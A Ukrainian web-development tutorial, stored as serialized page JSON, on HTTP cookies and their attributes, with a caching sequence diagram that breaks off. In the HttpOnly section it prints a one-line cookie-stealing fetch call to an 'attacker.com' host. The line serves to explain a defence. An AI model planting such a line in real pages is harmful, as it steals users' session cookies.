кеші",". ",[3759,9447,9448],{},"Vary: User-Agent"," може створити сотні варіантів (для кожного браузера\u002Fверсії). Це знижує ефективність кешування CDN. Використовуйте обережно.",[3820,9451],{},[3823,9453,9455],{"id":9454},"cookies-механізм-збереження-стану","Cookies — Механізм збереження стану",[3828,9457,9458,9459,9462,9463,9465],{},"HTTP є ",[3785,9460,9461],{},"stateless-протоколом"," — кожен запит незалежний, сервер не \"пам'ятає\" попередніх запитів. ",[3785,9464,4422],{}," вирішують цю проблему, дозволяючи зберігати стан між запитами.",[3846,9467,9469],{"id":9468},"що-таке-cookie","Що таке Cookie?",[3828,9471,9472,5401,9474,9477,9478,9480,9481,9484,9485,9488,9489,3769],{},[3785,9473,4432],{},[3785,9475,9476],{},"невеликий фрагмент даних"," (до 4 КБ), який сервер надсилає клієнту через заголовок ",[3759,9479,3926],{},". Браузер ",[3785,9482,9483],{},"зберігає"," cookie та ",[3785,9486,9487],{},"автоматично надсилає"," його у наступних запитах до цього домену через заголовок ",[3759,9490,4432],{},[3846,9492,9494],{"id":9493},"життєвий-цикл-cookie","Життєвий цикл Cookie",[3828,9496,9497],{},[3785,9498,9499],{},"1. Сервер встановлює cookie (Set-Cookie)",[3836,9501,9503],{"className":3913,"code":9502,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nSet-Cookie: sessionId=abc123xyz456; HttpOnly; Secure; SameSite=Strict; Path=\u002F; Max-Age=3600\nSet-Cookie: theme=dark; Path=\u002F; Max-Age=31536000\nContent-Type: text\u002Fhtml\n\n\u003C!DOCTYPE html>\n\u003Chtml>...\n",[3759,9504,9505,9517,9526,9535,9543,9547,9557],{"__ignoreMap":3844},[3919,9506,9507,9509,9511,9513,9515],{"class":3921,"line":3922},[3919,9508,4004],{"class":3929},[3919,9510,4007],{"class":3982},[3919,9512,4862],{"class":4010},[3919,9514,4865],{"class":4010},[3919,9516,4868],{"class":3933},[3919,9518,9519,9521,9523],{"class":3921,"line":3937},[3919,9520,3926],{"class":3925},[3919,9522,3930],{"class":3929},[3919,9524,9525],{"class":3933}," sessionId=abc123xyz456; HttpOnly; Secure; SameSite=Strict; Path=\u002F; Max-Age=3600\n",[3919,9527,9528,9530,9532],{"class":3921,"line":4024},[3919,9529,3926],{"class":3925},[3919,9531,3930],{"class":3929},[3919,9533,9534],{"class":3933}," theme=dark; Path=\u002F; Max-Age=31536000\n",[3919,9536,9537,9539,9541],{"class":3921,"line":4035},[3919,9538,4281],{"class":3925},[3919,9540,3930],{"class":3929},[3919,9542,6016],{"class":3933},[3919,9544,9545],{"class":3921,"line":4046},[3919,9546,4883],{"emptyLinePlaceholder":4882},[3919,9548,9549,9551,9553,9555],{"class":3921,"line":4057},[3919,9550,5097],{"class":5096},[3919,9552,5100],{"class":3929},[3919,9554,5103],{"class":3929},[3919,9556,5106],{"class":5096},[3919,9558,9559,9561,9563,9565],{"class":3921,"line":4068},[3919,9560,5111],{"class":5096},[3919,9562,5114],{"class":3925},[3919,9564,5143],{"class":5096},[3919,9566,5163],{"class":3982},[3828,9568,9569],{},[3785,9570,9571],{},"2. Браузер зберігає cookies",[3828,9573,9574],{},"Браузер зберігає обидві cookies у своєму сховищі.",[3828,9576,9577],{},[3785,9578,9579],{},"3. Браузер автоматично надсилає cookies у наступних запитах",[3836,9581,9583],{"className":3913,"code":9582,"language":3915,"meta":3844,"style":3844},"GET \u002Fdashboard HTTP\u002F1.1\nHost: app.example.com\nCookie: sessionId=abc123xyz456; theme=dark\n",[3759,9584,9585,9597,9605],{"__ignoreMap":3844},[3919,9586,9587,9589,9591,9593,9595],{"class":3921,"line":3922},[3919,9588,3998],{"class":3997},[3919,9590,5760],{"class":3982},[3919,9592,4004],{"class":3929},[3919,9594,4007],{"class":3982},[3919,9596,4011],{"class":4010},[3919,9598,9599,9601,9603],{"class":3921,"line":3937},[3919,9600,4016],{"class":3925},[3919,9602,3930],{"class":3929},[3919,9604,5775],{"class":3933},[3919,9606,9607,9609,9611],{"class":3921,"line":4024},[3919,9608,4432],{"class":3925},[3919,9610,3930],{"class":3929},[3919,9612,9613],{"class":3933}," sessionId=abc123xyz456; theme=dark\n",[3828,9615,9616],{},[3785,9617,9618],{},"4. Сервер використовує cookies для ідентифікації",[3828,9620,9621,9622,9625],{},"Сервер розпізнає користувача за ",[3759,9623,9624],{},"sessionId",", завантажує дані сесії з бази\u002FRedis та повертає персоналізований контент.",[3846,9627,9629],{"id":9628},"атрибути-cookie-set-cookie","Атрибути Cookie (Set-Cookie)",[5364,9631,9633],{"id":9632},"базовий-синтаксис","Базовий синтаксис",[3836,9635,9638],{"className":9636,"code":9637,"language":3841},[3839],"Set-Cookie: name=value; атрибут1; атрибут2=значення; ...\n",[3759,9639,9637],{"__ignoreMap":3844},[5364,9641,9643],{"id":9642},"max-age-та-expires-час-життя-cookie","Max-Age та Expires — Час життя cookie",[3828,9645,9646,9649],{},[3785,9647,9648],{},"Max-Age=\u003Cсекунди>"," — відносний час життя (рекомендовано):",[3836,9651,9653],{"className":3913,"code":9652,"language":3915,"meta":3844,"style":3844},"Set-Cookie: sessionId=abc123; Max-Age=3600\n",[3759,9654,9655],{"__ignoreMap":3844},[3919,9656,9657,9659,9661],{"class":3921,"line":3922},[3919,9658,3926],{"class":3925},[3919,9660,3930],{"class":3929},[3919,9662,9663],{"class":3933}," sessionId=abc123; Max-Age=3600\n",[3828,9665,9666],{},"Cookie буде видалено через 3600 секунд (1 годину).",[3828,9668,9669,9672],{},[3785,9670,9671],{},"Expires=\u003Cдата>"," — абсолютна дата видалення (застаріле):",[3836,9674,9676],{"className":3913,"code":9675,"language":3915,"meta":3844,"style":3844},"Set-Cookie: sessionId=abc123; Expires=Sat, 29 Aug 2026 15:00:00 GMT\n",[3759,9677,9678],{"__ignoreMap":3844},[3919,9679,9680,9682,9684],{"class":3921,"line":3922},[3919,9681,3926],{"class":3925},[3919,9683,3930],{"class":3929},[3919,9685,9686],{"class":3933}," sessionId=abc123; Expires=Sat, 29 Aug 2026 15:00:00 GMT\n",[3828,9688,9689,9692,9693,9696],{},[3785,9690,9691],{},"Без Max-Age та Expires"," — ",[3785,9694,9695],{},"session cookie"," (видаляється при закритті браузера):",[3836,9698,9700],{"className":3913,"code":9699,"language":3915,"meta":3844,"style":3844},"Set-Cookie: tempData=xyz\n",[3759,9701,9702],{"__ignoreMap":3844},[3919,9703,9704,9706,9708],{"class":3921,"line":3922},[3919,9705,3926],{"class":3925},[3919,9707,3930],{"class":3929},[3919,9709,9710],{"class":3933}," tempData=xyz\n",[5364,9712,9714],{"id":9713},"domain-домен-для-якого-діє-cookie","Domain — Домен, для якого діє cookie",[3836,9716,9718],{"className":3913,"code":9717,"language":3915,"meta":3844,"style":3844},"Set-Cookie: userId=42; Domain=example.com\n",[3759,9719,9720],{"__ignoreMap":3844},[3919,9721,9722,9724,9726],{"class":3921,"line":3922},[3919,9723,3926],{"class":3925},[3919,9725,3930],{"class":3929},[3919,9727,9728],{"class":3933}," userId=42; Domain=example.com\n",[3828,9730,9731],{},"Cookie буде надсилатися на:",[3746,9733,9734,9739,9744,9749],{},[3749,9735,9736],{},[3759,9737,9738],{},"example.com",[3749,9740,9741],{},[3759,9742,9743],{},"www.example.com",[3749,9745,9746],{},[3759,9747,9748],{},"api.example.com",[3749,9750,9751],{},[3759,9752,9753],{},"subdomain.example.com",[3828,9755,9756,9759,9761],{},[3785,9757,9758],{},"Без Domain:",[4703,9760],{},"\nCookie діє лише для точного домену (без субдоменів):",[3836,9763,9765],{"className":3913,"code":9764,"language":3915,"meta":3844,"style":3844},"Set-Cookie: data=value\n",[3759,9766,9767],{"__ignoreMap":3844},[3919,9768,9769,9771,9773],{"class":3921,"line":3922},[3919,9770,3926],{"class":3925},[3919,9772,3930],{"class":3929},[3919,9774,9775],{"class":3933}," data=value\n",[3828,9777,9778,9779,9782,9783,3769],{},"Якщо встановлено на ",[3759,9780,9781],{},"app.example.com",", не буде надсилатися на ",[3759,9784,9748],{},[4697,9786,9787,9790,9792],{},[3785,9788,9789],{},"Безпека Domain:",[4703,9791],{},"\nНе можна встановити cookie для домену верхнього рівня (.com, .ua) або чужого домену (google.com з example.com).",[5364,9794,9796],{"id":9795},"path-шлях-для-якого-діє-cookie","Path — Шлях, для якого діє cookie",[3836,9798,9800],{"className":3913,"code":9799,"language":3915,"meta":3844,"style":3844},"Set-Cookie: cartId=xyz789; Path=\u002Fshop\n",[3759,9801,9802],{"__ignoreMap":3844},[3919,9803,9804,9806,9808],{"class":3921,"line":3922},[3919,9805,3926],{"class":3925},[3919,9807,3930],{"class":3929},[3919,9809,9810],{"class":3933}," cartId=xyz789; Path=\u002Fshop\n",[3828,9812,9813,9814,3930],{},"Cookie надсилається лише для URL, що починаються з ",[3759,9815,9816],{},"\u002Fshop",[3746,9818,9819,9824,9829,9834],{},[3749,9820,9821,9823],{},[3759,9822,9816],{}," ✅",[3749,9825,9826,9823],{},[3759,9827,9828],{},"\u002Fshop\u002Fproducts",[3749,9830,9831,9823],{},[3759,9832,9833],{},"\u002Fshop\u002Fcart\u002Fcheckout",[3749,9835,9836,9839],{},[3759,9837,9838],{},"\u002Fabout"," ❌",[3828,9841,9842,6807,9845,9848],{},[3785,9843,9844],{},"За замовчуванням:",[3759,9846,9847],{},"Path=\u002F"," (для всіх шляхів).",[5364,9850,9852],{"id":9851},"secure-тільки-через-https","Secure — Тільки через HTTPS",[3836,9854,9856],{"className":3913,"code":9855,"language":3915,"meta":3844,"style":3844},"Set-Cookie: sessionId=abc123; Secure\n",[3759,9857,9858],{"__ignoreMap":3844},[3919,9859,9860,9862,9864],{"class":3921,"line":3922},[3919,9861,3926],{"class":3925},[3919,9863,3930],{"class":3929},[3919,9865,9866],{"class":3933}," sessionId=abc123; Secure\n",[3828,9868,9869,9870,9873],{},"Cookie буде надсилатися ",[3785,9871,9872],{},"лише через HTTPS",". Захист від перехоплення у незахищених мережах (публічний Wi-Fi).",[5441,9875,9876,9879,9881,9882,9885],{},[3785,9877,9878],{},"Обов'язково для продакшн:",[4703,9880],{},"\nУсі cookies з чутливими даними (sessionId, токени) повинні мати атрибут ",[3759,9883,9884],{},"Secure",". Без нього cookies передаються через HTTP у відкритому вигляді.",[5364,9887,9889],{"id":9888},"httponly-заборона-доступу-з-javascript","HttpOnly — Заборона доступу з JavaScript",[3836,9891,9893],{"className":3913,"code":9892,"language":3915,"meta":3844,"style":3844},"Set-Cookie: sessionId=abc123; HttpOnly\n",[3759,9894,9895],{"__ignoreMap":3844},[3919,9896,9897,9899,9901],{"class":3921,"line":3922},[3919,9898,3926],{"class":3925},[3919,9900,3930],{"class":3929},[3919,9902,3934],{"class":3933},[3828,9904,9905,9906,9909,9910,9913,9914,9917],{},"Cookie ",[3785,9907,9908],{},"недоступне"," через ",[3759,9911,9912],{},"document.cookie"," у JavaScript. Захист від ",[3785,9915,9916],{},"XSS-атак"," (Cross-Site Scripting).",[3828,9919,9920],{},[3785,9921,9922],{},"Без HttpOnly:",[3836,9924,9928],{"className":9925,"code":9926,"language":9927,"meta":3844,"style":3844},"language-javascript shiki shiki-themes light-plus dark-plus dark-plus","\u002F\u002F Зловмисний скрипт може вкрасти cookie\nfetch('https:\u002F\u002Fattacker.com\u002Fsteal?cookie=' + document.cookie);\n","javascript",[3759,9929,9930,9935],{"__ignoreMap":3844},[3919,9931,9932],{"class":3921,"line":3922},[3919,9933,9934],{"class":5438},"\u002F\u002F Зловмисний скрипт може вкрасти cookie\n",[3919,9936,9937,9940,9943,9946,9949,9953,9955,9957],{"class":3921,"line":3937},[3919,9938,9939],{"class":5420},"fetch",[3919,9941,9942],{"class":3982},"(",[3919,9944,9945],{"class":3933},"'https:\u002F\u002Fattacker.com\u002Fsteal?cookie='",[3919,9947,9948],{"class":3982}," + ",[3919,9950,9952],{"class":9951},"siwwj","document",[3919,9954,3769],{"class":3982},[3919,9956,6060],{"class":9951},[3919,9958,9959],{"class":3982},");\n",[3828,9961,9962],{},[3785,9963,9964],{},"З HttpOnly:",[3836,9966,9968],{"className":9925,"code":9967,"language":9927,"meta":3844,"style":3844},"console.log(document.cookie);\n\u002F\u002F Виведе: \"theme=dark\" (sessionId не видно)\n",[3759,9969,9970,9990],{"__ignoreMap":3844},[3919,9971,9972,9975,9977,9980,9982,9984,9986,9988],{"class":3921,"line":3922},[3919,9973,9974],{"class":9951},"console",[3919,9976,3769],{"class":3982},[3919,9978,9979],{"class":5420},"log",[3919,9981,9942],{"class":3982},[3919,9983,9952],{"class":9951},[3919,9985,3769],{"class":3982},[3919,9987,6060],{"class":9951},[3919,9989,9959],{"class":3982},[3919,9991,9992],{"class":3921,"line":3937},[3919,9993,9994],{"class":5438},"\u002F\u002F Виведе: \"theme=dark\" (sessionId не видно)\n",[5327,9996,9997,10000,10002,10003,10006],{},[3785,9998,9999],{},"Правило:",[4703,10001],{},"\nУсі cookies з автентифікаційними даними (session ID, JWT) повинні мати ",[3759,10004,10005],{},"HttpOnly",". Cookies для UI-налаштувань (тема, мова) можуть бути без нього.",[5364,10008,10010],{"id":10009},"samesite-захист-від-csrf-атак","SameSite — Захист від CSRF-атак",[3828,10012,10013,10014,10016],{},"Контролює, чи надсилати cookie у ",[3785,10015,7327],{}," (cross-site requests).",[3828,10018,10019],{},[3785,10020,10021],{},"Значення:",[3851,10023,10024,10066,10105],{},[3749,10025,10026,10029,10030,10044,10046,10047,10050,10051,10053,10055,10057,10058,10061,10062,10065],{},[3785,10027,10028],{},"SameSite=Strict"," — найсуворіший",[3836,10031,10033],{"className":3913,"code":10032,"language":3915,"meta":3844,"style":3844},"Set-Cookie: sessionId=abc123; SameSite=Strict\n",[3759,10034,10035],{"__ignoreMap":3844},[3919,10036,10037,10039,10041],{"class":3921,"line":3922},[3919,10038,3926],{"class":3925},[3919,10040,3930],{"class":3929},[3919,10042,10043],{"class":3933}," sessionId=abc123; SameSite=Strict\n",[4703,10045],{},"Cookie надсилається ",[3785,10048,10049],{},"лише у запитах з того самого домену",". Захищає від CSRF, але погіршує UX.",[4703,10052],{},[3785,10054,4533],{},[4703,10056],{},"\nКористувач натискає посилання ",[3759,10059,10060],{},"https:\u002F\u002Fexample.com\u002Fdashboard"," з email → cookie ",[3785,10063,10064],{},"НЕ надсилається"," (різні домени: email-клієнт vs example.com) → користувач побачить сторінку як неавторизований.",[3749,10067,10068,10071,10072,10086,10088,10089,10102,10104],{},[3785,10069,10070],{},"SameSite=Lax"," — баланс (за замовчуванням у сучасних браузерах)",[3836,10073,10075],{"className":3913,"code":10074,"language":3915,"meta":3844,"style":3844},"Set-Cookie: sessionId=abc123; SameSite=Lax\n",[3759,10076,10077],{"__ignoreMap":3844},[3919,10078,10079,10081,10083],{"class":3921,"line":3922},[3919,10080,3926],{"class":3925},[3919,10082,3930],{"class":3929},[3919,10084,10085],{"class":3933}," sessionId=abc123; SameSite=Lax\n",[4703,10087],{},"Cookie надсилається:",[3746,10090,10091,10097],{},[3749,10092,4291,10093,10096],{},[3785,10094,10095],{},"навігаційних GET-запитах"," (перехід за посиланням, форма з GET).",[3749,10098,10099,10101],{},[3785,10100,10064],{}," у POST, PUT, DELETE з іншого домену.",[4703,10103],{},"Захищає від більшості CSRF, зберігаючи UX.",[3749,10106,10107,10110,10111,10125,10127,10128],{},[3785,10108,10109],{},"SameSite=None"," — дозволяє міждоменні запити (потребує Secure)",[3836,10112,10114],{"className":3913,"code":10113,"language":3915,"meta":3844,"style":3844},"Set-Cookie: trackingId=xyz; SameSite=None; Secure\n",[3759,10115,10116],{"__ignoreMap":3844},[3919,10117,10118,10120,10122],{"class":3921,"line":3922},[3919,10119,3926],{"class":3925},[3919,10121,3930],{"class":3929},[3919,10123,10124],{"class":3933}," trackingId=xyz; SameSite=None; Secure\n",[4703,10126],{},"Cookie надсилається у всіх запитах (same-site та cross-site). Використовується для:",[3746,10129,10130,10133,10136],{},[3749,10131,10132],{},"Вбудованих віджетів (iframe).",[3749,10134,10135],{},"OAuth-авторизації.",[3749,10137,10138],{},"Трекінгу (аналітика, реклама).",[3828,10140,10141],{},[3785,10142,10143],{},"Порівняння:",[4186,10145,10146,10162],{},[4189,10147,10148],{},[4192,10149,10150,10153,10156,10159],{},[4195,10151,10152],{},"Сценарій",[4195,10154,10155],{},"Strict",[4195,10157,10158],{},"Lax",[4195,10160,10161],{},"None",[4205,10163,10164,10177,10188,10199],{},[4192,10165,10166,10169,10172,10175],{},[4210,10167,10168],{},"Перехід за посиланням з email",[4210,10170,10171],{},"❌",[4210,10173,10174],{},"✅",[4210,10176,10174],{},[4192,10178,10179,10182,10184,10186],{},[4210,10180,10181],{},"POST-форма з іншого сайту",[4210,10183,10171],{},[4210,10185,10171],{},[4210,10187,10174],{},[4192,10189,10190,10193,10195,10197],{},[4210,10191,10192],{},"AJAX-запит з іншого домену",[4210,10194,10171],{},[4210,10196,10171],{},[4210,10198,10174],{},[4192,10200,10201,10204,10206,10208],{},[4210,10202,10203],{},"Запити в межах свого сайту",[4210,10205,10174],{},[4210,10207,10174],{},[4210,10209,10174],{},[3846,10211,10213],{"id":10212},"приклади-комбінацій-атрибутів","Приклади комбінацій атрибутів",[3828,10215,10216],{},[3785,10217,10218],{},"1. Session cookie для автентифікації (найбезпечніший)",[3836,10220,10222],{"className":3913,"code":10221,"language":3915,"meta":3844,"style":3844},"Set-Cookie: sessionId=abc123xyz456; HttpOnly; Secure; SameSite=Strict; Path=\u002F; Max-Age=3600\n",[3759,10223,10224],{"__ignoreMap":3844},[3919,10225,10226,10228,10230],{"class":3921,"line":3922},[3919,10227,3926],{"class":3925},[3919,10229,3930],{"class":3929},[3919,10231,9525],{"class":3933},[3828,10233,10234],{},[3785,10235,10236],{},"2. Persistent cookie для \"Remember me\" (30 днів)",[3836,10238,10240],{"className":3913,"code":10239,"language":3915,"meta":3844,"style":3844},"Set-Cookie: rememberToken=longtoken123; HttpOnly; Secure; SameSite=Lax; Path=\u002F; Max-Age=2592000\n",[3759,10241,10242],{"__ignoreMap":3844},[3919,10243,10244,10246,10248],{"class":3921,"line":3922},[3919,10245,3926],{"class":3925},[3919,10247,3930],{"class":3929},[3919,10249,10250],{"class":3933}," rememberToken=longtoken123; HttpOnly; Secure; SameSite=Lax; Path=\u002F; Max-Age=2592000\n",[3828,10252,10253],{},[3785,10254,10255],{},"3. Cookie для UI-налаштувань (без HttpOnly, 1 рік)",[3836,10257,10259],{"className":3913,"code":10258,"language":3915,"meta":3844,"style":3844},"Set-Cookie: theme=dark; Secure; SameSite=Lax; Path=\u002F; Max-Age=31536000\n",[3759,10260,10261],{"__ignoreMap":3844},[3919,10262,10263,10265,10267],{"class":3921,"line":3922},[3919,10264,3926],{"class":3925},[3919,10266,3930],{"class":3929},[3919,10268,10269],{"class":3933}," theme=dark; Secure; SameSite=Lax; Path=\u002F; Max-Age=31536000\n",[3828,10271,10272],{},[3785,10273,10274],{},"4. Cookie для OAuth callback (cross-site)",[3836,10276,10278],{"className":3913,"code":10277,"language":3915,"meta":3844,"style":3844},"Set-Cookie: oauthState=randomstate; Secure; SameSite=None; Path=\u002Fauth; Max-Age=600\n",[3759,10279,10280],{"__ignoreMap":3844},[3919,10281,10282,10284,10286],{"class":3921,"line":3922},[3919,10283,3926],{"class":3925},[3919,10285,3930],{"class":3929},[3919,10287,10288],{"class":3933}," oauthState=randomstate; Secure; SameSite=None; Path=\u002Fauth; Max-Age=600\n",[3828,10290,10291],{},[3785,10292,10293],{},"5. Видалення cookie (Max-Age=0 або Expires у минулому)",[3836,10295,10297],{"className":3913,"code":10296,"language":3915,"meta":3844,"style":3844},"Set-Cookie: sessionId=; Max-Age=0; Path=\u002F\n",[3759,10298,10299],{"__ignoreMap":3844},[3919,10300,10301,10303,10305],{"class":3921,"line":3922},[3919,10302,3926],{"class":3925},[3919,10304,3930],{"class":3929},[3919,10306,10307],{"class":3933}," sessionId=; Max-Age=0; Path=\u002F\n",[3828,10309,10310],{},"або",[3836,10312,10314],{"className":3913,"code":10313,"language":3915,"meta":3844,"style":3844},"Set-Cookie: sessionId=; Expires=Thu, 01 Jan 1970 00:00:00 GMT; Path=\u002F\n",[3759,10315,10316],{"__ignoreMap":3844},[3919,10317,10318,10320,10322],{"class":3921,"line":3922},[3919,10319,3926],{"class":3925},[3919,10321,3930],{"class":3929},[3919,10323,10324],{"class":3933}," sessionId=; Expires=Thu, 01 Jan 1970 00:00:00 GMT; Path=\u002F\n",[3846,10326,10328],{"id":10327},"cookie-vs-localstorage-vs-sessionstorage","Cookie vs LocalStorage vs SessionStorage",[4186,10330,10331,10346],{},[4189,10332,10333],{},[4192,10334,10335,10338,10340,10343],{},[4195,10336,10337],{},"Характеристика",[4195,10339,4432],{},[4195,10341,10342],{},"LocalStorage",[4195,10344,10345],{},"SessionStorage",[4205,10347,10348,10363,10378,10393,10409,10425],{},[4192,10349,10350,10355,10358,10361],{},[4210,10351,10352],{},[3785,10353,10354],{},"Розмір",[4210,10356,10357],{},"4 КБ на домен",[4210,10359,10360],{},"5-10 МБ на домен",[4210,10362,10360],{},[4192,10364,10365,10370,10373,10376],{},[4210,10366,10367],{},[3785,10368,10369],{},"Автоматична передача",[4210,10371,10372],{},"✅ Так (заголовок Cookie)",[4210,10374,10375],{},"❌ Ні",[4210,10377,10375],{},[4192,10379,10380,10385,10388,10391],{},[4210,10381,10382],{},[3785,10383,10384],{},"Доступ з JS",[4210,10386,10387],{},"✅ Так (якщо не HttpOnly)",[4210,10389,10390],{},"✅ Так",[4210,10392,10390],{},[4192,10394,10395,10400,10403,10406],{},[4210,10396,10397],{},[3785,10398,10399],{},"Час життя",[4210,10401,10402],{},"Налаштовується",[4210,10404,10405],{},"Назавжди (до очищення)",[4210,10407,10408],{},"До закриття вкладки",[4192,10410,10411,10416,10419,10422],{},[4210,10412,10413],{},[3785,10414,10415],{},"Використання",[4210,10417,10418],{},"Автентифікація, сесії",[4210,10420,10421],{},"Кеш, налаштування",[4210,10423,10424],{},"Тимчасові дані форми",[4192,10426,10427,10431,10434,10437],{},[4210,10428,10429],{},[3785,10430,4457],{},[4210,10432,10433],{},"HttpOnly, Secure, SameSite",[4210,10435,10436],{},"XSS-вразливі",[4210,10438,10436],{},[4289,10440,10441,10444,10446,10449],{},[3785,10442,10443],{},"Рекомендація для автентифікації:",[4703,10445],{},[3785,10447,10448],{},"Cookies з HttpOnly + Secure + SameSite"," є найбезпечнішим варіантом для збереження токенів. LocalStorage доступний для XSS-атак — якщо зловмисник впровадить скрипт, він може вкрасти токен.",[3820,10451],{},[3823,10453,10455],{"id":10454},"діаграма-взаємодії-заголовків","Діаграма взаємодії заголовків",[3836,10457,10461],{"className":10458,"code":10459,"language":10460,"meta":3844,"style":3844},"language-plantuml shiki shiki-themes light-plus dark-plus dark-plus","@startuml HTTP Headers Interaction\n\nskinparam backgroundColor #FEFEFE\nskinparam handwritten false\n\nactor \"Клієнт\\n(Браузер)\" as Client\nparticipant \"Кеш\\nБраузера\" as Cache\nparticipant \"CDN\u002FПроксі\" as CDN\nparticipant \"Веб-сервер\\n(nginx)\" as WebServer\nparticipant \"Backend\\n(API Server)\" as Backend\ndatabase \"База даних\" as DB\n\n== Перший запит (кеш порожній) ==\n\nClient -> WebServer: GET \u002Fapi\u002Fproducts\\n**Request Headers:**\\nHost: api.example.com\\nUser-Agent: Mozilla\u002F5.0...\\nAccept: application\u002Fjson\\nAccept-Encoding: gzip, br\\nCookie: sessionId=abc123\n\nWebServer -> Backend: Перевірка сесії,\\nзавантаження даних\n\nBackend -> DB: SELECT * FROM products\n\nDB --> Backend: Дані продуктів\n\nBackend --> WebServer: JSON-відповідь\n\nWebServer --> Client: HTTP\u002F1.1 200 OK\\n**Response Headers:**\\nContent-Type: application\u002Fjson\\nContent-Encoding: gzip\\nETag: \"products-v5-hash\"\\nCache-Control: private, max-age=300\\nSet-Cookie: lastVisit=2026-08-29\\n\\n[JSON дані]\n\nClient -> Cache: Зберегти у кеш\\n(5 хвилин)\n\n== Другий запит (кеш актуальний, \u003C5 хв) ==\n\nClient -> Cache: GET \u002Fapi\u002Fproducts\n\nCache --> Client: Повернути з кешу\\n(без запиту до сервера)\n\n== Третій запит (кеш застарів, >5 хв) ==\n\nClient -> WebServer: GET \u002Fapi\u002Fproducts\\n**Conditional Request:**\\nIf-None-Match: \"products-v5-hash\"\\nCookie: sessionId=abc123\n\nWebServer -> Backend: Перевірити ETag\n\nBackend --> WebServer: Дані не змінилися\n\nWebServer --> Client: HTTP\u002F1.1 304 Not Modified\\nETag: \"products-v5-hash\"\\nCache-Control: private, max-age=300\\n\\n[Тіло порожнє]\n\nClient -> Cache: Використати\\nстарі дані з кешу\n\nnote right of Client\n  Економія трафіку: ~80%\n  Лише заголовки, без тіла\nend note\n\n== Четвертий запит (дані оновилися) ==\n\nClient -> WebServer: GET \u002Fapi\u002Fproducts\\nIf-None-Match: \"products-v5-hash\"\n\nWebServer -> Backend: Перевірити ETag\n\nBackend -> DB: SELECT * FROM products\n\nDB --> Backend: Нові дані\n\nBackend --> WebServer: JSON з новими даними\n\nWebServer --> Client: HTTP\u002F1.1 200 OK\\nETag: \"products-v6-hash\"\\nCache-Control: private, max-age=300\\n\\n[Нові JSON дані]\n\nClient -> Cache: Оновити кеш\n\n@enduml\n","plantuml",[3759,10462,10463,10468,10472,10477,10482,10486,10491,10496,10501,10506,10511,10517,10522,10528,10533,10539,10544,10550,10555,10561,10566,10572,10577,10583,10588,10594,10599,10605,10610,10616,10621,10627,10632,10638,10643,10649,10654,10660,10665,10671,10676,10682,10687,10693,10698,10704,10709,10715,10721,10727,10733,10738,10744,10749,10755,10760,10765,10770,10775,10780,10786,10791,10797,10802,10808,10813,10819,10824],{"__ignoreMap":3844},[3919,10464,10465],{"class":3921,"line":3922},[3919,10466,10467],{},"@startuml HTTP Headers Interaction\n",[3919,10469,10470],{"class":3921,"line":3937},[3919,10471,4883],{"emptyLinePlaceholder":4882},[3919,10473,10474],{"class":3921,"line":4024},[3919,10475,10476],{},"skinparam backgroundColor #FEFEFE\n",[3919,10478,10479],{"class":3921,"line":4035},[3919,10480,10481],{},"skinparam handwritten false\n",[3919,10483,10484],{"class":3921,"line":4046},[3919,10485,4883],{"emptyLinePlaceholder":4882},[3919,10487,10488],{"class":3921,"line":4057},[3919,10489,10490],{},"actor \"Клієнт\\n(Браузер)\" as Client\n",[3919,10492,10493],{"class":3921,"line":4068},[3919,10494,10495],{},"participant \"Кеш\\nБраузера\" as Cache\n",[3919,10497,10498],{"class":3921,"line":4079},[3919,10499,10500],{},"participant \"CDN\u002FПроксі\" as CDN\n",[3919,10502,10503],{"class":3921,"line":4089},[3919,10504,10505],{},"participant \"Веб-сервер\\n(nginx)\" as WebServer\n",[3919,10507,10508],{"class":3921,"line":4100},[3919,10509,10510],{},"participant \"Backend\\n(API Server)\" as Backend\n",[3919,10512,10514],{"class":3921,"line":10513},11,[3919,10515,10516],{},"database \"База даних\" as DB\n",[3919,10518,10520],{"class":3921,"line":10519},12,[3919,10521,4883],{"emptyLinePlaceholder":4882},[3919,10523,10525],{"class":3921,"line":10524},13,[3919,10526,10527],{},"== Перший запит (кеш порожній) ==\n",[3919,10529,10531],{"class":3921,"line":10530},14,[3919,10532,4883],{"emptyLinePlaceholder":4882},[3919,10534,10536],{"class":3921,"line":10535},15,[3919,10537,10538],{},"Client -> WebServer: GET \u002Fapi\u002Fproducts\\n**Request Headers:**\\nHost: api.example.com\\nUser-Agent: Mozilla\u002F5.0...\\nAccept: application\u002Fjson\\nAccept-Encoding: gzip, br\\nCookie: sessionId=abc123\n",[3919,10540,10542],{"class":3921,"line":10541},16,[3919,10543,4883],{"emptyLinePlaceholder":4882},[3919,10545,10547],{"class":3921,"line":10546},17,[3919,10548,10549],{},"WebServer -> Backend: Перевірка сесії,\\nзавантаження даних\n",[3919,10551,10553],{"class":3921,"line":10552},18,[3919,10554,4883],{"emptyLinePlaceholder":4882},[3919,10556,10558],{"class":3921,"line":10557},19,[3919,10559,10560],{},"Backend -> DB: SELECT * FROM products\n",[3919,10562,10564],{"class":3921,"line":10563},20,[3919,10565,4883],{"emptyLinePlaceholder":4882},[3919,10567,10569],{"class":3921,"line":10568},21,[3919,10570,10571],{},"DB --> Backend: Дані продуктів\n",[3919,10573,10575],{"class":3921,"line":10574},22,[3919,10576,4883],{"emptyLinePlaceholder":4882},[3919,10578,10580],{"class":3921,"line":10579},23,[3919,10581,10582],{},"Backend --> WebServer: JSON-відповідь\n",[3919,10584,10586],{"class":3921,"line":10585},24,[3919,10587,4883],{"emptyLinePlaceholder":4882},[3919,10589,10591],{"class":3921,"line":10590},25,[3919,10592,10593],{},"WebServer --> Client: HTTP\u002F1.1 200 OK\\n**Response Headers:**\\nContent-Type: application\u002Fjson\\nContent-Encoding: gzip\\nETag: \"products-v5-hash\"\\nCache-Control: private, max-age=300\\nSet-Cookie: lastVisit=2026-08-29\\n\\n[JSON дані]\n",[3919,10595,10597],{"class":3921,"line":10596},26,[3919,10598,4883],{"emptyLinePlaceholder":4882},[3919,10600,10602],{"class":3921,"line":10601},27,[3919,10603,10604],{},"Client -> Cache: Зберегти у кеш\\n(5 хвилин)\n",[3919,10606,10608],{"class":3921,"line":10607},28,[3919,10609,4883],{"emptyLinePlaceholder":4882},[3919,10611,10613],{"class":3921,"line":10612},29,[3919,10614,10615],{},"== Другий запит (кеш актуальний, \u003C5 хв) ==\n",[3919,10617,10619],{"class":3921,"line":10618},30,[3919,10620,4883],{"emptyLinePlaceholder":4882},[3919,10622,10624],{"class":3921,"line":10623},31,[3919,10625,10626],{},"Client -> Cache: GET 